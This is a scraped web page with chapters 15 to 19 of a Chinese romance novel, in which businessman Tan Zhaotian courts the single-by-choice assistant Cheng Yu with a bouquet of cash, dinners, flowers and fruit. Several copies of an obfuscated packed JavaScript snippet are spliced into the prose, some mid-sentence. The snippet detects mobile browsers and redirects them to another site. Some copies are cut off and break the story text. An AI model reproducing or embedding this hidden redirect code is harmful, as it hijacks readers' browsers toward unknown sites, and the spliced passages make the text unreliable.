“你没把我吓死。” 手机那头传来闷笑声。 还笑？！ 程郁催：“赶紧的！” 恰好这时陆泽深走过，准备进办公间。 他走近，看见了在打电话的程郁，自然也看见了程郁怀里抱着的花。 陆泽深看清，起先还以为自己眼花了，定睛看了看，确实是一束RMB花，还是一沓一万的，愣了愣，挑挑眉。 “陆总。” 程郁扭头，手机放下了些。 陆泽深看看花，边从程郁身边走过去，边道了句：“花还能这么送，学到了。” 程郁：“……” 陆泽深走了，进了办公间，程郁拿起手机，继续对那头道：“拿回去啊！” 谈兆天来了句：“你是不喜欢花，还是不喜欢钱？” 程郁磨牙：“我不喜欢你做这种事！拿走！” 谈兆天温声：“你先上班吧，我晚上过来找你。” 程郁挂了电话，回了办公室，一进去，办公间同时全体“哇啊哦~”地起哄。 有人说：“还得是咱程总啊。” 有人说：“我今天算是大开眼界了。” 有人说：“这要是送我的，我马上就嫁。” 程郁刚刚心惊肉跳的，这会儿脸都要臊了。 他坐回工位，花束摆去脚边，塞进最里面，招呼同事：“上班，干活儿。” 有同事：“这么大手笔，程总你心不心动啊？” 程郁回：“你比较心动。” 同事：“确实。” 其他人：“我也心动。” “我也是。” “我可以嫁的，花给我的话。” 程郁哭笑不得。 他电脑微信上给谈兆天发：【小猫双手合十.jpg】【可千万别再送了。】 谈兆天：【晚上想吃什么？】 就这样，程郁当晚和谈兆天约了顿晚饭。 下班，程郁用自己的外套盖着花，才敢把花抱着出了公司进了电梯，一路上还要留神别掉地上一沓。 他今天没去地库，到一楼就下了，走出去，看见了等在楼前的谈兆天。 谈兆天今天不是工装裤白坎肩了，穿了衬衫和黑西裤，显得腿长肩宽。 程郁抱着花过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253782|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去，磨牙，眼睛都瞪了起来，走近，吐槽：“有你这么送花的吗？” 谈兆天两手插着裤兜，高高地站着，唇边勾起笑意：“早知道这个不扔，之前就送了。” 程郁将花连着自己的外套一把塞男人怀里：“拿回去拿回去！” 谈兆天接住，笑意扩散：“真的是给你花的，我没开玩笑。” 附近下班的白领好多都在扭头看他们。 程郁帅得离谱，谈兆天像个男模，两人还都是大长腿。 程郁又瞪了眼谈兆天：“我也不开玩笑，你再这样，我以后什么花都不收。” 谈兆天闷笑，抱着盖着外套的花。 已经五月了，六点半的CBD还是晴空，霞光粉蓝相间，十分漂亮。 谈兆天抱着花，两人一起往外面的路边走，走到路边停车位的大G旁，谈兆天开车门，把花放去了后座，外套拿起来，递给程郁。 程郁没接，说：“你继续盖着，别让人看见，回头把你车窗砸了，拿里面的钱。” 谈兆天还递着衣服：“不会，我们开车去吃饭。” 程郁这才接了，谈兆天帮他拉开了副驾门。 程郁套外套、上车，谈兆天绕过车头，也上车。 程郁系着安全带：“去哪儿吃？” “湾庆湖。” 谈兆天发车。 “你怎么想的，送这种花？” 程郁根本忍不住，疯狂吐槽：“我们全办公室今天下午都想嫁给你。” “那你呢。” 谈兆天转了下头。 程郁：“……” 程郁诚恳的：“我只想谢谢你。” 说：“你信不信，一个下午，你这束花，这会儿已经传便了整个CBD。” “我又要被人拿出来吃瓜了。” 谈兆天来了句：“因为他们羡慕嫉妒你？” “……” 向来很会说话的程郁一时都不知道该怎么回了。 这话好像也没错。 默了默，见主驾男人的嘴角吊起来了，程郁：“你很开心啊。” “嗯。” 谈兆天又回了下头，黑眸沉而亮，说：“今天是我第一次约会。” 程郁原本又要有言在先打预防针，可对上男人的眼睛，听到男人这么说，程郁顿时有种被纯情和真诚shock到的感觉。 又默了默，程郁说：“你以前没和人约过会吗？” 谈兆天开着车：“没有。” 程郁自然意外：“你之前没追过其他人？” “没有。” 程郁：“别人约你呢？总有人追你的吧？” 不可能没有。 谈兆天：“我都拒绝了，不喜欢。” 程郁：“没谈过？” “没有。” 程郁：“没喜欢过其他人？” “没有。” 程郁：“那你这些年都在……” 谈兆天：“做生意，上班。” 程郁有些不信：“你是想在我面前表现得你是个对感情专一且专情的人？” 谈兆天：“刚刚那些确实都没有过。” “sexy也没有？” 程郁没什么不好意思问的，大家都是男人、成年人。 谈兆天：“没有。” 程郁心底一跳，心想坏了，大龄、处男、第一次喜欢人、初恋，buff叠满。 难怪不肯放弃。 程郁心叹，喜欢一个单身主义，你不吃爱情的苦，谁吃爱情的苦。 16.第 16 章 下班高峰，有些堵。 程郁和谈兆天一路上边开车边闲聊，40分钟后，抵达了湾庆湖。 湾庆湖是个湖，也是个临湖的商业体，餐厅很多，晚上过来吃饭的人也很多，车位难找。 好在谈兆天提前约了位子，餐厅给帮忙留了车位，因此一到餐厅，车就有地方停。 停好车，程郁和谈兆天下车，一起往餐厅走。 走近，程郁看见牌匾上餐厅的名字，写着：水韵文秀。 蛮雅致的名字，江南风，程郁之前没有吃过，也没有听说过，于是进门的时候，程郁很自然地和谈兆天聊道：“这家新开的吗？不会也是你的生意吧？” “新开的，不是。” 谈兆天一如既往的言简意赅，说：“朋友介绍的，说这里还不错。” 程郁点点头，人进了餐厅，抬眸打量起来。 餐厅经理这时候迎过来，谈兆天说他们提前约了位子，餐厅经理看了看手里工作的平板，道了句“两位这边请”，领两人往内走。 程郁跟着，走到了才发现又是临窗的位子，外面就是湖。 可惜不是白天，晚上太黑，什么都看不到。 程郁脱外套，坐下，先和帮忙倒茶的餐厅经理道了声谢谢，接着和坐对面的谈兆天道：“这家看起来人不少，位子好约吗。” 谈兆天：“还可以。” 程郁拿出手机，习惯性地在点评网的APP上看有没有这家餐厅的打卡和帖子，想看看有什么特色、评价如何。 倒完水的餐厅经理则在和谈兆天确认：“两位是A套餐，是吗。” 确认后，餐厅经理离开了。 程郁翻着点评网，听见了，问谈兆天：“这里吃饭不是点什么吃什么的？不是中餐？” 谈兆天解释：“改良菜，学的法餐，餐点上一道吃一道。” 程郁：“现在做这行也不容易，怎么都得弄点花样出来，不然没人流，顾客也不买账。” 又说：“不过我还是更喜欢路边随便开的那种苍蝇馆子，没有预制，现做现卖，味道也可以。” “下次带你吃。” 谈兆天很直接，也在心里默默记下。 “好啊。” 程郁大方应下，接着想到什么，手机放下，抬头道：“对了，今天这顿我来请吧。” “上次吃烤肉的时候说好的，我请，算是给你赔礼道歉。” 不…… 谈兆天一个“不”字下意识已经含在了嘴边，顿了顿，他改口：“下顿吧，你请我。” “也行。” 程郁不纠结这个，点点头。 就在这时服务员过来，上了套餐里的第一道菜，说是餐前开胃菜。 程郁以为是什么，定睛一瞧，原来是腌萝卜。 还是搁在小碟子里的，摆盘精致，就是分量太少，总共也就数得过来的几根。 程郁拿起筷子，边夹腌萝卜，边低声和谈兆天吐槽：“真多啊。” 吃一口，“嗯！”一声，眼睛亮了，看向谈兆天：“好吃！” 特别爽脆，味道也好，酸甜口的。 程郁：“味道可以诶。” 谈兆天原本以为程郁可能不喜欢这家，又见程郁认可了味道、吃得欢快，放心了。 谈兆天也吃了一口，确实味道不错。 程郁这时笑：“这么点，这个味道，确实应该在饭前吃，开开胃。” 谈兆天看过去，看见年轻男人的笑颜和灯光下柔和英俊的五官，默默瞧着，注视着，眼神都深了，没由来的，笑意也蕴在了眼底。 他问：“还要吗？再让他们上一份？” 谈兆天完全没觉得这有什么，在哪家餐厅不都是如此，喜欢就再点。 不想程郁闻言撩起眼皮看看他，低声提醒：“这家餐厅不便宜吧？” 他刚刚在点评网上看了，人均至少三千。 跟着道：“这里不光是吃饭的，高档餐厅，‘享受’的还有‘高档’。” 说着示意周围：“你看看环境。” “类似米其林，不光是吃，还得吃得体面优雅。” “一道菜就吃这么多，吃完吃下一道菜。” 举例子：“电视剧里皇帝吃饭知道吧？” “一道菜就吃三口，吃完就把那道菜撤了。” 程郁又吃了口萝卜，放下筷子：“这萝卜也一样。就这么多，尝尝味道。” “多要，他们也会给，但不是这里的吃饭流程。” 谈兆天：“……” 谈兆天不是没见识，是没见过这种弯弯绕绕的所谓的“体面”“优雅”。 他事前不知道这种餐厅是这样的。 默了默，谈兆天当然不希望在程郁面前显得“没见识”“不体面”，这有违他追人的初心，但…… 谈兆天很实在，他再次问程郁：“还想要吗？” 他希望程郁可以尽情地吃到他喜欢的想吃的任何东西。 即便只是些脆萝卜。 不就是些腌萝卜么。 这还不能随便吃？ 谈兆天心道。 而那碟子里的脆萝卜总共六小根，这会儿碟子里还剩两根，谈兆天吃了一根，程郁吃了三根。 这么点儿，塞牙缝啊。 谈兆天嘴上没说。 “想吃再点，我来叫人。” 谈兆天开口道。 程郁心里“噗”地笑了，他想谈兆天真的是个实在人。 他往常在CBD接触多了各种白领精英，从来只见这些人将自己的行为准则“同化”“融合”到环境里，连他自己都会这样，真的很少见到谈兆天这样“我行我素”的。 “吃！” 程郁马上点头。 他也觉得六根腌萝卜太少了，动物园喂小羊都不止这么点。 “服务员。” 谈兆天抬手向不远处。 可能是男人的行为在这个“高端”的地方显得不够体面优雅，邻桌有一对男女都下意识看向了谈兆天。 程郁拿起筷子，垂眸又吃了口脆萝卜，默默笑了笑，觉得谈兆天和他日常接触的人和圈子，真的都很不一样。 果然，谈兆天向走过来的服务员要两碟脆萝卜，服务员都愣了，眨眨眼，看看谈兆天，可能没在这种吃个饭大几千上万的地方见过这样的。 “您……您是想要再来两份餐前小菜，是吗？” 服务员努力维持“为您竭诚服务”的恭敬神情。 “是。” 谈兆天看看他，非常直接：“不管你们怎么算餐费，都给我再来两碟，量太少了。” “哦哦，好，您稍等。” 服务员彻底明白了，直起身，边离开边按着耳边的耳麦说：“厨房厨房，3号桌再来两份……” 邻桌有人侧目，默默看谈兆天和程郁这边，可能觉得他们是初来乍到不懂规矩的“土老帽”。 程郁早察觉到了，心里更好笑了。 于是他唇角吊着笑，吃完了碟子里最后的脆萝卜——本来他留了两根，确实是留给谈兆天的，不好自己喜欢就全吃了。 现在又叫了两碟，有多的，吃也就吃了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262377|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“怎么了？” 谈兆天见程郁边吃边笑。 “没。” 程郁摇摇头，自然不会说他们被人围观看“笑话”了。 “你是本地人？” 程郁聊起来。 “差不多。” 谈兆天自我介绍：“我妈是本地人，我爸不是。” “你家里做生意的？” 程郁觉得谈兆天30不到，名下生意就有一堆，还有小弟，应该是家里本来就有生意。 “不是。” 谈兆天问一句答一句的风格：“我妈以前打工的，我爸就是个社会瘤子，家里比较穷。” 他如实说了。 “你自己做的生意啊？” 程郁意外。 谈兆天：“有些生意是后来做的，最开始是接了我哥的班。” 程郁服气：“那你很厉害啊。” 脆萝卜这时来了，服务员端上桌。 服务员一走，邻桌看热闹的动静不免大了一些，被谈兆天察觉到，黑眸扫过去，就一眼，那对男女马上老实了——谈兆天那气质，太man，太硬汉，看着就不好惹。 程郁再次默默好笑。 两人继续边吃边聊。 而后面，只要程郁表现出钟意哪道菜，谈兆天一定会叫服务员过来再上一份。 把好好的高档餐厅吃成了普通餐馆。 为此，餐厅经理都来了好几趟，以为他们对餐点和服务不满。 谈兆天没有不满，只是说：“量太少了，只给几筷子？” 经理连忙打招呼：“不好意思，是我们没有服务到位。我让后厨再给二位多准备一份。” 经理走后，谈兆天对程郁说：“没想到是这样的，以后不带你来吃了，换一家。” 程郁笑了笑，不是笑谈兆天与这样的场合不搭，而是觉得男人实在，这两年，他也觉得很多餐厅推出的餐点的分量太少，但他从来没有吱声再要过，自己一个人的时候没有，和朋友客户一起的时候，也没有，今天，是第一次。 程郁没觉得谈兆天不够高端不够体面不够优雅。 他觉得谈兆天做了自己曾经想做但没有做的事情，非常实在，也够man。 程郁对谈兆天的好感度又刷新了。 这样的人不做朋友真的太浪费了。 因此吃完，出餐厅，程郁就忍不住对谈兆天道：“别追了，真的，做朋友吧。” “做朋友，你请我吃一顿，我请你一顿，回头……” 谈兆天拉开大G后门，把那束钱花递给程郁，程郁马上改口：“我不都说了拿回……” 钱花撤走，一束崭新的鲜花递到了程郁面前，谈兆天拿着，递出的姿势，看着程郁。 程郁：“……” “给我的？” 程郁缓缓伸手接过，垂眸看了看，说：“早送这个，我早收了。” 谈兆天闻言吊了吊唇角。 程郁起先还没明白谈兆天这是在笑什么，等谈兆天将他送回公寓，坐电梯上楼，抱着花，看了看，程郁才反应过来——送他“钱花”，他虽然不收，但今晚饭约了，最后他也收了鲜花，谈兆天不就是想这样吗？ 程郁才反应过来，恍然哼笑出声。 原来还有策略啊。 程郁看看怀里的花，服气。 等回了公寓，程郁把花摆到了一楼餐桌上，当做装饰。 而这也是程郁第一次把追求者送的花带回自己住的地方。 花束摆在桌上，开得浓郁又漂亮，次日早程郁起床下楼，一眼就看到了。 17.第 17 章 而等早上到公司，又有跑腿小哥送来鲜花，程郁收了，没看到花里有卡片，于是摆到桌角，手机对着拍了一张，发给谈兆天：【你送的？】 谈兆天很快回：【我送的。】 程郁：【OK。】 【我上班了。】 程郁自然不丢花，花束摆在工位一角。 而昨天那束钱花显然“洗礼”了很多同事的内心，见程郁今天收了鲜花，马上就问：【是昨天送花的那个送的吗？】 【今天没送昨天那样的啊？】 【程总，昨天那花你带回家了吗？】 …… 同事们难免八卦。 “上班干活儿。” 程郁才不给他们八卦的机会。 哪知不久后陆泽深进了部门，看见程郁工位一角的花，边走过边道了句“换了？不是昨天的了？”，也在吃瓜，把程郁弄得哭笑不得。 是是是，换了。 程郁起身，抱起文件，跟进办公室，第一次知道他们陆总也是个会八卦的人。 等进了办公室，陆泽深脱着西服外套，对把文件摆去他桌上的程郁说了句：“和周总的合作没谈成。” 周总就是之前谈合作的某家公司的老总，就是秘书也是单身主义、程郁还和对方一起吃了顿晚饭的那位。 没有谈成吗。 程郁没说什么，也清楚以陆泽深的性格，并不特别执着一定要和谁合作。 “好，我知道了。” 程郁应了声，没多说别的，心里把这件事默默记下。 中午，点了份外卖随便对付了两口的程郁，独自坐在没什么人的办公室，对着电脑，用电脑端微信给那位周总秘书发：【汪秘，方便问问周总为什么放弃和我们这边的合作吗？】 【是觉得我们这边出资占股太多？】 …… 下午，程郁忙里偷闲，去茶水间倒水，恰好收到谈兆天的消息：【今晚有空？想约你吃饭。】 【如果没有，明天或者后天？】 程郁把杯子摆去饮水机的龙头下接水，人挨着流理台，低头捧着手机回：【后天晚上吧，我请你。】 谈兆天：【好。】 程郁想了想，发过去：【我请你吃自助吧，量大，管够。】 谈兆天：【好。】 程郁：【OK.jpg】 【链接】 【这家，离CBD不远，下班过去堵的话，半个小时也到了。】 谈兆天：【好。】 程郁：【不用来接我，我开车，自己过去。】 【先约七点吧，到时候餐厅门口见。】 【我可能会因为工作临时换时间或者改期，很难说。】 【目前的话，那天吃饭应该没问题。】 谈兆天：【好。】 程郁看着谈兆天发过来的几个“好”，默默好笑。 这男人聊微信的风格也和说话一个样，要多简洁就多简洁。 当晚，程郁到家的时候，收到汪秘的消息：【程助，我帮你试探了下我们周总的态度……】 程郁坐在餐桌边，和汪秘有来有回地聊了快20分钟。 餐桌上，花束里的鲜花漂亮地绽放着。 次日早，程郁又收到了花，他把新的一束和昨天的一束摆在一起，略微看了看，没顾上马上给谈兆天发消息，忙了会儿工作，签了两个文件，又去帮陆泽深寄了一个快递。 等早上没那么忙了，想起来，程郁给谈兆天发：【不要天天给我送花啊。】 【鲜花可以摆好几天的。】 【天天送，我这里堆不下。】 谈兆天过了会儿回：【旧的扔了。】 程郁忙工作，也过了片刻才回：【浪费。】 谈兆天：【好，我知道了，以后一周送一束，每周周一送。】 程郁：【OK。】 而程郁因为忙工作，和谈兆天约的自助不得不改期。 程郁给谈兆天发消息说改期，谈兆天还是很果断的一个字：【好。】 程郁：【周六晚上？】 【周六晚上我应该可以。】 【还是我请。】 谈兆天：【好。】 程郁：【握手.jpg】【到时候见。】 谈兆天：【握手.jpg】 周五晚，程郁忙到快十点才下班，周六，他白天加了一整天的班，中午午饭都没吃，赶在晚上六点前结束了工作，下班，开车去商场，和谈兆天吃饭。 到餐厅，他行色匆匆的样子，被站在餐厅门口等他的谈兆天看出来了，问他：“这周很忙？” “是啊，今天白天还加了一整天的班。” 程郁说着拿出手机，去排队，门口付钱交押金。 等进了餐厅，坐下来了，靠着椅背，程郁缓缓吐了一口气，叹：“这周忙翻了。” 谈兆天高高地站在桌边，低头看他，说：“下次太忙就别约了。” “饭还是得吃的。” 程郁打起精神，起身：“拿吃的吧。” 当天，两人边吃边聊，气氛尚可。 细心如程郁，发现了，谈兆天就算吃自助，筷子动得也不算很多。 很明显，比起吃东西，男人更在意和他聊什么。 而前后几次接触、吃饭，程郁能感觉出来，谈兆天确实是喜欢他的。 也正因为感觉到了，程郁不想谈兆天以后因为追不到人再失望，因此这次吃饭，程郁也还是不嫌麻烦地打了预防针，说：“你知道的啊，我单身主义，无论如何，我都不会接受任何追求的。” 也一再表示：“做朋友多好啊，还是做朋友吧。” 谈兆天也依旧拒绝。 程郁问：“等最后你放弃了，要不要跟我做朋友？” 谈兆天的黑眸看着程郁：“我不会放弃的。” 程郁说：“我也会一直劝你跟我做朋友的，我也不会放弃的。” 换谈兆天问：“为什么要做朋友？” “因为我觉得你人不错啊，性格我也喜欢。” 程郁大大方方地表态。 结果谈兆天来了句：“如果最后会从朋友变成恋人的话，我就交这个朋友。” 程郁有点无语，边吃边抬抬眼：“我谢谢你。” 谈兆天勾唇哼笑，笑得锋利的五官都柔和了几分。 当天分开前，一起往电梯走，谈兆天边走边道：“下次见面，想送你礼物。” 礼物？ 程郁心想按照正常的追求人的流程的话，送礼物也正常。 但程郁毕竟单身主义，怎么都不会接受追求和爱意，自然拒绝，说：“还是不了吧。” 有那一束“钱花”在前，外加他谈老板生意多、不缺钱，程郁就怕男人送特别贵重的东西给他，不想收不该收，也不方便收。 谈兆天心知程郁有顾虑，宽慰：“你不用有心理负担，我给你，你就拿着，我也不会事后反悔要回。” 如今分手、追不到人，问被追求者或者女孩子要回东西和钱财的事例太多。 “我不是这个意思。” 程郁解释：“我只是纯粹不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266836|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收。” 谈兆天耐着性子：“也许会有你喜欢的东西。” 程郁摇头：“你还是别送了。” “发消息聊天，约吃饭，出来玩儿，都可以。” “送礼物还是不要了。” 谈兆天没有再坚持。 他不想也不会勉强程郁。 于是谈兆天换了个话题：“明天要不要和朋友一起来KeepLip玩儿？” 程郁婉拒道：“不了，这周太忙了，我想明天宅家休息休息。” 谈兆天便说：“给你送点水果？” 程郁一顿：“你还有水果生意啊？” “差不多。” 谈兆天：“喜欢什么水果？” “我都行。” 程郁挺喜欢吃水果的，就说：“那我问你买点儿吧。” “不用，没多少钱，我让人装好送你公寓。” 谈兆天没给程郁再拒绝自己的机会，说：“朋友之间，送点水果很正常。” 都这样说了，程郁没再拒绝，点头道：“也行，谢谢你。” 又爽快道：“那下次我再请你吃饭。” 谈兆天：“好。” 于是次日星期天，程郁睡了个懒觉，快十一点起床，起来看见谈兆天发给他的消息，起床，下楼，开门，看见了摆在门口的两个白色塑料大袋子。 程郁把两袋子水果拎进屋，给谈兆天回复消息：【笑哭.jpg】【这么多啊。】 【醒了？】 谈兆天回：【不多，慢慢吃。】 又说：【里面有一盒切好的，可以直接拿出来吃。】 程郁翻袋子，发现果然有一大盒果切。 他心想这也太贴心了，回：【看到了，谢谢。】【小猫鞠躬.jpg】 程郁把果切从袋子里拿出来，打开，沙发边坐下，一次性叉子叉了水果，边吃边窝在沙发里和谈兆天聊微信。 程郁：【你今天不会还在上班吧？】 修车厂，谈兆天依旧是一件工字背心，不过今天不是白色的，是深绿色的，脏了，全是车灰和油污。 他这会儿胳膊手上也很脏，一只手戴了脏的棉手套，一手没戴，脱掉了，手里拿着手机，正低头看着，嘴里还抿了根没点的烟。 他就这么站在这儿，和手机那头的程郁聊微信。 【狗肉兄弟一辈子】—— 【照片】【照片】 【天哥这样子，是在发情没错吧？】 【牛逼了，第一次见他车没修完站旁边和人聊手机。】 【上次我这样，他直接给了我一腿。】 【话说天哥真戒烟了啊？我好几次都看见他叼根烟，火都不点，为爱付出到这种程度啊？人不是还没追到吗？】 【不是，你们别光拍照片啊！也绕去他旁边，看看他和人聊什么呢。】 【能聊什么，还不就情情爱爱那点事儿吗。】 【实在想象不出来天哥跟人发我爱你的场面，想想就觉得诡异。】 【更诡异的难道不是他有了喜欢的人吗。艹，我特么以为他这种得打一辈子光棍儿。】 【哭了，天哥都快有老婆了，我还没有。】 【他有个屁的老婆。】 【截图了，等会儿发给天哥。】 【艹！你个狗东西！】 …… 这边，谈兆天告诉程郁他在修车厂，还给程郁拍了厂子内场地的视频发过去，又说：【以后修车来我这儿，我给你修。】 只恨自己不是孔雀，不能正大光明地当程郁的面开屏。 18.第 18 章 两周之后的这个周日，养生会所，程郁穿着会所的套装，趴在会所的单人按摩床上，旁边的床上则是同样趴着的张君宁，两个按摩师阿姨给两人按背。 张君宁被按得直喊，边啊啊啊地喊，边对程郁道：“所以，最近你就和大G哥聊聊微信、空了吃吃饭？再每周收一束他的花？周末收一次水果？” “是啊。” 程郁被按得背酸，默默倒抽气。 这两周，程郁工作偏忙，周六周日也只休息了一天，平时还要加班。 谈兆天每周周一让人给他送一束花，摆在工位，旧的花枯了，扔掉。 一天里会在午饭晚饭这种休息时间发来消息，问程郁忙不忙，有空就聊一会儿，没空就不聊。 前后约了几次饭，吃了三顿、见了三次面。 周日再让人给他送水果，也会顺便送过来一束花，让程郁把家里的那束换掉。 两周的时间，一晃就过去了。 张君宁还在“啊啊啊”地喊，问：“你们聊什么？就天马行空想到什么话题聊什么？” “是啊。” 程郁也继续默默倒抽气。 他的腰背都不好，最近忙多了，脖子也不太舒服。 张君宁无语：“他追你，连暧昧都不会和你搞吗？” “搞什么暧昧啊。” 程郁巴不得不搞这些，说：“我等着他随时放弃，随时和他转正做正经朋友。” “你也牛。” 张君宁吐槽：“放着这样的优质男，恋人不做，做朋友。” “啊，疼，阿姨你轻点儿。” “不然呢？” 程郁：“我又不恋爱，遇到不错的人，不想放过，当然就做朋友了。” 张君宁：“你一点儿不心动？” 程郁反问：“我为什么要心动？” 当然不。 “你牛。” 张君宁竖了个大拇指：“你真淡定啊。” 程郁：“那必须。” 等按完背，阿姨走了，两人包厢里单独待着，坐在床上端着碗嗦粉，聊到谈兆天，程郁边埋头吃边道：“现在刚认识没多久，‘蜜月期’，还能有不少话题聊，还能经常约吃饭。” “你看着吧，等时间久了，新鲜劲儿过了，就自然没那么多话聊了，也不会经常约吃饭了。” “到时候微信聊少了、见面次数也少了，别说追我，回头新鲜劲儿都要淡了。” “你真是……” 张君宁也埋头嗦粉：“恋爱经验一概没有，这种倒是门儿清。” “本来就是。” 程郁不懂恋爱感情，还能不懂人性和人际交往么。 跟着道：“等他开始觉得追人不过如此，也发现和我没有任何进展，准备放弃，我就马上和他交朋友。” “反正他这个朋友我交定了。” “怎么都得把‘程郁朋友’这个名分安给他。” 张君宁吃完了，抬头，嗦嗦筷子上的红油，看向程郁：“我反正不信他会这么快放弃。” “说不定有后招呢。” “什么后招？” 程郁也吃完了，打了个饱嗝，碗筷送去床头柜上，抽纸巾擦擦嘴，说：“我连他礼物都不收。” “有时间的话，我也会约别的朋友出去玩儿，又不会一有空就只和他见面。” “我去……” 张君宁也把碗送回床头柜，抽纸巾擦嘴：“你这么说，大G哥完全没希望啊。” 程郁两腿盘着，抻直了背，耸耸肩，扭扭脖子：“我这个单身主义又不是摆设。” 结果这番话落地还没24小时，次日周一，下午，程郁陪陆泽深去和某司大佬打室外高尔夫，就在高尔夫球场偶遇了谈兆天—— 当时陆泽深和大佬才打了两个果岭，阳光好、天热，他们随行带的水不够冰，程郁察觉了这一细节，悄悄和陆泽深打了个招呼，开电瓶车走了，去室内馆拿冰饮。 等到了，停车，下来，程郁顶着大太阳往室内馆的方向走，快走到门口了，身后突然传来熟悉的低沉的声音：“程郁。” 程郁一顿，转头，意外看见了谈兆天。 他自然惊讶，看着走近的谈兆天，说：“好巧，你也在。” 问：“你来打高尔夫？” “不是。” 谈兆天解释：“有个果岭的草坪不太行了，找工人过来看看。” ？ 程郁更惊讶了，睁大眼睛，愕然：“这儿也是你的生意啊？” 谈兆天：“差不多，和人合伙开的。” 不是。 程郁眨眨眼，忍不住道：“我怎么感觉走到哪儿，哪儿就有你的生意啊？” 谈兆天笑了笑，觉得程郁这愕然的样子怪可爱俏皮的。 他带程郁往室内馆走，边走边道：“你来打球？” “不是。” 程郁迈步，解释：“我老板和人在这儿打球，我陪着。” 再次惊愕：“天啊，到处都是你的生意。” 因为真的惊讶，又问：“是不是没有你不做的生意啊？” “没那么夸张。” 谈兆天又勾了下唇角，跟着道：“你来室内馆拿什么？球杆？” “不是，饮料。” 程郁解释：“天太热了，我来拿点冰饮。” 说着扫了眼馆内，准备往饮料区那儿走，同时和谈兆天打招呼：“那你忙吧，我去拿饮料，我老板还在等我。” 谈兆天没走开，和程郁一起往饮料区那儿走：“我让人给你拿个储冰的箱子。” 说着抬手招呼饮料区的一个年轻女孩子：“去拿储冰的箱子，大一点的。” “天哥？” 女孩子应声：“哦，好。” 转身去拿了。 谈兆天走到饮料区，直接绕去吧台，拉开冷柜的门，问程郁：“要什么？” 程郁看了看冰柜里：“矿泉水拿六瓶，脉动、冰红茶帮我各拿四瓶……” 谈兆天帮拿了，又说：“有果汁，要吗？” “有吗？可以啊。” 程郁巴不得最好再来点鲜榨的果汁。 “有，你等等。” 谈兆天示意走过来的另一个接待的女孩子：“去榨点果汁。” 又问程郁：“要什么？西瓜汁可以吗？别的也有。” 程郁：“就西瓜汁吧。” 刚刚的女孩子把大的储冰箱拿来了，摆到吧台上。 程郁看见谈兆天去制冰机拿杯子捞冰，装进储冰箱，又把拿的那些饮料和水一个个横着摆进去。 “谢谢。” 程郁心里明白，要不是谈兆天，他要弄这些，不会有这么高的效率。 不久，几杯果汁也榨好封装起来，一起摆进储冰箱，谈兆天还帮忙拿了几根吸管、一包纸巾。 做完这些，谈兆天一把抱起蓝色的储冰箱，绕过吧台，走出来。 程郁一顿，看着男人，马上道：“我自己来吧。” “没事。” 谈兆天没把箱子给程郁，抱着，领头往外走，又扭头，边走边说：“今天热，叫了遮阳伞吗？要是没叫，几号果岭，我让人送过来。” 程郁跟上谈兆天：“现在应该在C3的果岭，谢谢。” 他觉得已经麻烦过谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程郁总不好不理，客气礼貌地应声。 不久，快到C3了，谈兆天停下，下车。 程郁这才想到谈兆天没车怎么回去，边挪去主驾边道：“你等会儿我，我把饮料给他们送过去，回来接你回去。” “不用。” 谈兆天转身顶着太阳就走，利落的样子：“你去忙吧。” 程郁第一次喊男人的名字：“谈兆天。” 谈兆天回头，看着程郁笑了笑，走了，脚步很快，一会儿就走远了。 程郁把电动车开走，往C3开去，心里多少有些触动，不仅因为谈兆天这周到妥帖的关照，也因为程郁知道谈兆天把车停在这里，是想等会儿领导们看见了，知道这些都是程郁做的。 这男人真是…… 程郁开着车，心里噌噌地涨着好感度，琢磨今晚或者明后天有空，再找谈兆天吃饭。 这时候完全不记得自己那套“等时间久了，新鲜劲儿过了，就自然没那么多话聊了，也不会经常约吃饭了”的理论。 不久，把冰饮送到了，遮阳伞休息椅也被人送来安好了，趁着陆泽深和大佬在不远处挥杆，程郁独自站在遮阳伞一角的阴凉处，悄悄拿着手机给谈兆天发：【晚上我空，你空吗，要不要一起吃饭？】 谈兆天几乎秒回：【好。】 19.第 19 章 这晚程郁请的高尔夫球场附近不远的海鲜市场大排档，请谈兆天吃海鲜。 两人边吃边聊，聊了很多高尔夫相关的话题，聊得十分愉快、也格外起劲——程郁蛮喜欢打高尔夫的，他虽然打得不多、水平一般，但电视上比赛看得多，也很关注高尔夫的各项赛事。 谈兆天好歹开的高尔夫球场，了解得自然不少，球打得可以。 